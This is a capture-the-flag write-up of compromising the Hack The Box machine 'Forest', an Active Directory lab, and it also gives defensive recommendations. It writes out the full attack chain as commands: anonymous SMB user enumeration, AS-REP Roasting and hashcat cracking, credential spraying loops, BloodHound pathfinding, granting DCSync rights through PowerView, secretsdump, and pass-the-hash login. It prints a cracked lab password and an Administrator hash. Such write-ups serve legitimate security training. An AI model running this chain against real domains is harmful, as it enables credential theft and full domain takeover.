Summary
- We were able to enumerate domain usernames via SMB without authentication (null session).
- Among those users, some had Kerberos pre-authentication disabled, which allowed us to perform AS-REP Roasting and crack
svc-alfresco’s password. - Using that password, we could login as
svc-alfrescoand used BloodHound to map a privilege-escalation path to Administrator via DCSync.
Recommendation
Assuming this were a real environment, I would recommend the following.
- Restrict anonymous/null-session enumeration of domain usernames over SMB.
- Enable Kerberos pre-authentication for all user accounts to prevent AS-REP Roasting.
- Review and remove unnecessary group nesting that grants service accounts excessive privileges (e.g.,
svc-alfrescobeing a member ofAccount Operators), and regularly audit ACLs for dangerous rights (GenericAll,WriteDacl, etc.) granted to non-admin principals, so that no path exists from a low-privileged account to Administrator.
Enumeration
Let’s enumerate the open ports on the machine using nmap. I usually use nmap in 2 steps. First, I take a quick full-port sweep using following options.
-
-sSfor a stealthy SYN scan, which is fast because it doesn’t complete the full 3-way handshake -
-Pnto skip host discovery and assume the host is up, so that all ports actually get checked -
-p-to scan all 65535 TCP ports -
--opento only show ports that are open -
-nto skip DNS resolution since in CTFs like HTB, private IPs usually don’t resolve to anything anyway -
--min-rate 5000to speed up the scan by sending at least 5000 packets per second -
-oA scan_allto save the output in all three formats (.nmap,.xml,.gnmap) under the prefixscan_all
sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.95.210 Second, it’s time to dig deeper into the open ports using the following commands and options.
ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,) -
grep -oP '\d+/open'to pull out every<port>/openmatch fromscan_all.gnmap -
cut -d/ -f1to strip off the/openpart, leaving just the port number -
paste -sd,to join all those numbers from separate lines into one comma-separated string - the result is stored in the
portsvariable
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.95.210 -
-sSfor a stealthy SYN scan -
-Pnto skip host discovery -
-p "$ports"to limit the scan to only those open ports -
-Ato enable version detection (-sV), default NSE scripts (-sC), OS detection (-O), and traceroute all at once -
-oN scan_deep.txtfor saving the output toscan_deep.txt
Ports 135 (RPC), 139 (NetBIOS/SMB), and 445 (SMB) are open. Also, 53 (DNS), 389 (LDAP) and 88 (Kerberos) are open, too. This suggests a standalone Windows machine having an Active Directory domain.
It is stated that he domain is htb.local.
Some uncommon ports are open as well.
Add the mapping between the IP address and the hostname to /etc/hosts.
echo "10.129.95.210 htb.local" | sudo tee -a /etc/hosts sudo nmap -sU -Pn --top-ports 100 -oN scan_udp.txt 10.129.95.210 Many UDPs are open. We may come back.
Since it's a Windows machine with active directory, let's try anonymous and guest login for shares, users and groups at first.
nxc smb 10.129.95.210 -u '' -p '' --shares --users --groups There are usernames!
Organize them into users.txt.
echo 'sebastien lucinda svc-alfresco andy mark santi' > users.txt Exploitation
Let’s try AS-REP Roasting, since we already know the usernames that exist on the machine. If a user has pre-authentication disabled, the following command gets us an AS-REP hash for offline password cracking.
impacket-GetNPUsers -dc-ip 10.129.15.154 -request -format hashcat -outputfile npusers -usersfile users.txt htb.local/ It says “Requested starttime is later than end time.” So we need to check the time difference between the target machine and our own.
The following command gives us the time difference.
D=$(ldapsearch -x -H ldap://10.129.15.154 -s base -b "" currentTime 2>/dev/null | awk -F': ' '/^currentTime/{t=$2;print substr(t,1,4)"-"substr(t,5,2)"-"substr(t,7,2)" "substr(t,9,2)":"substr(t,11,2)":"substr(t,13,2)}') ; OFF=$(( $(date -u -d "$D" +%s) - $(date -u +%s) )) ; echo "DC=$D UTC / Difference=+${OFF}s (~$((OFF/3600))h$(( (OFF%3600)/60 ))m)" Let's use faketime to adjust the time.
faketime "+87332 seconds" impacket-GetNPUsers -dc-ip 10.129.15.154 -request -format hashcat -outputfile npusers -usersfile users.txt htb.local/ We get the AS-REP hash!
Let's crack it.
hashcat -m 18200 npusers /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule Cracked! svc-alfresco:s3rvice
Let's check what we can do with the credential.
for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.15.154 -u 'svc-alfresco' -p 's3rvice' $a; done; done; for p in ssh ftp; do nxc $p 10.129.15.154 -u 'svc-alfresco' -p 's3rvice'; done We can use WINRM.
Let's login.
evil-winrm -i 10.129.15.154 -u svc-alfresco -p s3rvice type C:\Users\svc-alfresco\Desktop\user.txt We get the user.txt.
Privilege Escalation
Let’s first use BloodHound to understand how to go from the owned user to Administrator.
bloodhound-ce-python -u svc-alfresco -p 's3rvice' -d htb.local -ns 10.129.15.154 -c all Upload the files onto BloodHound and use pathfinding from svc-alfresco to Administrator.
There is a path as follows: svc-alfresco is a member of Account Operators, which has GenericAll over Exchange Windows Permissions, which has WriteDacl over HTB.LOCAL — the domain that contains Administrator. So let’s join Exchange Windows Permissions, grant svc-alfresco DCSync rights over HTB.LOCAL, and then use secretsdump to dump Administrator’s hash.
Add svc-alfresco to Exchange Windows Permissions.
net group "Exchange Windows Permissions" svc-alfresco /add /domain A relogin is necessary for the configuration to take effect.
Use PowerView to grant svc-alfresco DCSync right.
upload PowerView.ps1 . .\PowerView.ps1 Add-DomainObjectAcl -Rights DCSync -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity svc-alfresco -Verbose Use secretsdump to retrieve Administrator's hash.
impacket-secretsdump -just-dc htb.local/svc-alfresco:'s3rvice'@10.129.15.154 Check what the Administrator and its hash can do.
for p in smb winrm rdp wmi mssql; do for a in "" "--local-auth"; do nxc $p 10.129.15.154 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6' $a; done; done; for p in ssh ftp; do nxc $p 10.129.15.154 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6'; done Login and get the root.txt!
evil-winrm -i 10.129.15.154 -u Administrator: -H 32693b11e6aa90eb43d32c72a07ceea6 type C:\Users\Administrator\Desktop\root.txt Lessons Learned
- BloodHound is a great way to figure out how to get an Administrator shell.
GenericAlllets you do almost anything to the target object.WriteDaclcan lead to DCSync. I’ll learn about other rights for future challenges.






















